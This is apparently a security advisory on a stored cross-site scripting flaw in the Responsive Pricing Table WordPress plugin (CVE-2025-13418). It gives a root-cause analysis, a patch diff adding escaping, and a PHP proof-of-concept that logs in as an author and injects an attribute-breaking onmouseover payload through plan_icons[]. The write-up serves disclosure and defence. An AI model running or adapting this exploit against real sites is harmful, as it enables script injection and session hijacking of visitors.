Atomic Edge analysis of CVE-2025-13418:
The Responsive Pricing Table WordPress plugin contains an authenticated stored cross-site scripting (XSS) vulnerability. This flaw exists in the plugin’s plan icon management functionality, allowing attackers with Author-level privileges or higher to inject malicious scripts. The vulnerability affects all plugin versions up to and including 5.1.12, with a CVSS score of 6.4.
The root cause is insufficient output escaping for the ‘plan_icons’ parameter. In the vulnerable version, the plugin fails to properly escape the ‘_rpt_icon’ value when outputting it within an HTML data attribute. The file `dk-pricr-responsive-pricing-table/inc/rpt-metaboxes-plans.php` at line 293 uses “ without escaping. This value originates from user input via the ‘plan_icons[]’ POST parameter, which is processed in `dk-pricr-responsive-pricing-table/inc/rpt-save-metaboxes.php` at line 84.
Exploitation requires an authenticated user with Author privileges or higher. The attacker submits a malicious payload through the ‘plan_icons[]’ parameter when creating or editing a pricing table plan. The payload is stored in the WordPress database as the ‘_rpt_icon’ meta value. When the affected pricing table is rendered on the front-end, the malicious script executes in the context of any user viewing the page. The attack vector targets the plugin’s plan management interface.
The patch addresses the vulnerability through multiple layers of defense. In `rpt-metaboxes-plans.php` line 293, the output is now escaped with `esc_attr()`. In `rpt-save-metaboxes.php` line 84, input validation is strengthened by replacing `stripslashes(strip_tags(sanitize_text_field(…)))` with `esc_url_raw()`. Additionally, front-end output in `rpt-shortcode.php` line 142 now uses `esc_url()` when rendering the icon image source. These changes ensure proper context-aware escaping at both storage and output stages.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of any user viewing the compromised pricing table. This can lead to session hijacking, account takeover, content modification, or redirection to malicious sites. The stored nature of the vulnerability means a single injection affects all subsequent visitors until the malicious content is removed.
--- a/dk-pricr-responsive-pricing-table/inc/rpt-metaboxes-plans.php
+++ b/dk-pricr-responsive-pricing-table/inc/rpt-metaboxes-plans.php
@@ -290,7 +290,7 @@
<div class="dmb_clearfix"></div>
<div class="dmb_grid dmb_grid_35 dmb_grid_first dmb_grid_last">
- <div class="dmb_icon_data_url" data-icon="<?php echo $plan['_rpt_icon']; ?>"></div>
+ <div class="dmb_icon_data_url" data-icon="<?php echo esc_attr($plan['_rpt_icon']); ?>"></div>
<input class="dmb_field dmb_icon_field" name="plan_icons[]" type="text" value="" />
<div class="dmb_upload_icon_btn dmb_button dmb_button_large dmb_button_blue">
<?php _e('Upload icon', RPT_TXTDM ) ?>
--- a/dk-pricr-responsive-pricing-table/inc/rpt-metaboxes-settings.php
+++ b/dk-pricr-responsive-pricing-table/inc/rpt-metaboxes-settings.php
@@ -196,7 +196,7 @@
<div class="dmb_field_title">
<?php _e('Currency', RPT_TXTDM ) ?>
</div>
- <input class="dmb_field" type="text" name="table_currency" value="<?php echo $settings['_rpt_currency']; ?>" placeholder="<?php _e('e.g. $', RPT_TXTDM ) ?>" />
+ <input class="dmb_field" type="text" name="table_currency" value="<?php echo esc_attr($settings['_rpt_currency']); ?>" placeholder="<?php _e('e.g. $', RPT_TXTDM ) ?>" />
</div>
<div class="dmb_clearfix"></div>
--- a/dk-pricr-responsive-pricing-table/inc/rpt-save-metaboxes.php
+++ b/dk-pricr-responsive-pricing-table/inc/rpt-save-metaboxes.php
@@ -81,10 +81,10 @@
(isset($_POST['are_recommended_plans'][$i]) && $_POST['are_recommended_plans'][$i]) ? $new_plans[$i]['_rpt_recommended'] = $_POST['are_recommended_plans'][$i] : $new_plans[$i]['_rpt_recommended'] = 'no';
(isset($_POST['are_removed_currencies'][$i]) && $_POST['are_removed_currencies'][$i]) ? $new_plans[$i]['_rpt_free'] = $_POST['are_removed_currencies'][$i] : $new_plans[$i]['_rpt_free'] = 'no';
(isset($_POST['plan_custom_classes'][$i]) && $_POST['plan_custom_classes'][$i]) ? $new_plans[$i]['_rpt_custom_classes'] = stripslashes(strip_tags(sanitize_text_field($_POST['plan_custom_classes'][$i]))) : $new_plans[$i]['_rpt_custom_classes'] = '';
- (isset($_POST['plan_icons'][$i]) && $_POST['plan_icons'][$i]) ? $new_plans[$i]['_rpt_icon'] = stripslashes(strip_tags(sanitize_text_field($_POST['plan_icons'][$i]))) : $new_plans[$i]['_rpt_icon'] = '';
+ (isset($_POST['plan_icons'][$i]) && $_POST['plan_icons'][$i]) ? $new_plans[$i]['_rpt_icon'] = esc_url_raw($_POST['plan_icons'][$i]) : $new_plans[$i]['_rpt_icon'] = '';
/* Plan settings. */
- (isset($_POST['table_currency']) && $_POST['table_currency']) ? $table_currency = stripslashes(wp_kses_post($_POST['table_currency'])) : $table_currency = '';
+ (isset($_POST['table_currency']) && $_POST['table_currency']) ? $table_currency = sanitize_text_field($_POST['table_currency']) : $table_currency = '';
(isset($_POST['table_btn_behavior']) && $_POST['table_btn_behavior']) ? $table_btn_behavior = stripslashes(strip_tags(sanitize_text_field($_POST['table_btn_behavior']))) : $table_btn_behavior = '';
/* Font sizes. */
--- a/dk-pricr-responsive-pricing-table/inc/rpt-shortcode.php
+++ b/dk-pricr-responsive-pricing-table/inc/rpt-shortcode.php
@@ -139,7 +139,7 @@
$table_view .= '<div '.$title_style.' class="rpt_title rpt_title_'.$key.'">';
if (!empty($plan['_rpt_icon'])) {
- $table_view .= '<img src="'.$plan['_rpt_icon'].'" class="rpt_icon rpt_icon_'.$key.'"/> ';
+ $table_view .= '<img src="'.esc_url($plan['_rpt_icon']).'" class="rpt_icon rpt_icon_'.$key.'"/> ';
}
$table_view .= wp_kses_post($plan['_rpt_title']);
@@ -164,9 +164,9 @@
$currency = get_post_meta($post->ID, '_rpt_currency', true);
if (!empty($currency)) {
- $table_view .= '<sup class="rpt_currency">';
- $table_view .= wp_kses_post($currency);
- $table_view .= '</sup>';
+ $table_view .= '<sup class="rpt_currency">';
+ $table_view .= esc_html($currency);
+ $table_view .= '</sup>';
}
$table_view .= do_shortcode(wp_kses_post($plan['_rpt_price']));
--- a/dk-pricr-responsive-pricing-table/rpt.php
+++ b/dk-pricr-responsive-pricing-table/rpt.php
@@ -4,7 +4,7 @@
* Plugin Name: Responsive Pricing Table
* Plugin URI: https://wpdarko.com/items/responsive-pricing-table-pro/
* Description: A responsive, easy and elegant way to present your offer to your visitors. Just create a new pricing table (custom type) and copy-paste the shortcode into your posts/pages. Find help and information on our <a href="https://help.wpdarko.com/en">support site</a>. This free version is NOT limited and does not contain any ad. Check out the <a href='https://wpdarko.com/items/responsive-pricing-table-pro/'>PRO version</a> for more great features.
- * Version: 5.1.12
+ * Version: 5.1.13
* Author: WP Darko
* Author URI: https://wpdarko.com
* Text Domain: dk-pricr-responsive-pricing-table
@@ -19,7 +19,7 @@
define('RPT_TXTDM', 'dk-pricr-responsive-pricing-table');
/* Defines plugin's version. */
-define('RPT_VER', '5.1.12');
+define('RPT_VER', '5.1.13');
/* General. */
require_once 'inc/rpt-text-domain.php';
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13418 - Responsive Pricing Table <= 5.1.12 - Authenticated (Author+) Stored Cross-Site Scripting
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'author_user';
$password = 'author_password';
// Payload to execute alert when page loads
$payload = '" onmouseover="alert(document.domain)" data-test="';
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
// Verify login by checking for admin bar
if (strpos($response, 'wp-admin-bar') === false) {
die('Login failed. Check credentials.');
}
// Navigate to pricing table creation page
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=responsive-pricing-table');
$response = curl_exec($ch);
// Extract nonce from the page (simplified - actual implementation would need proper parsing)
// This is a conceptual demonstration; real exploitation requires proper nonce extraction
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
// Submit form with malicious payload in plan_icons[] parameter
// Note: This demonstrates the vulnerable parameter; full form submission requires all required fields
$post_data = [
'post_title' => 'Malicious Table',
'post_type' => 'responsive-pricing-table',
'_wpnonce' => $nonce,
'plan_icons[]' => $payload, // Vulnerable parameter
'plan_titles[]' => 'Plan 1',
'plan_prices[]' => '$10',
'save' => 'Publish'
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, 'Post published') !== false) {
echo 'Exploit successful. Payload injected via plan_icons[] parameter.';
echo 'The XSS will trigger when users view the pricing table.';
} else {
echo 'Exploit may have failed. Check permissions and nonce.';
}
?>
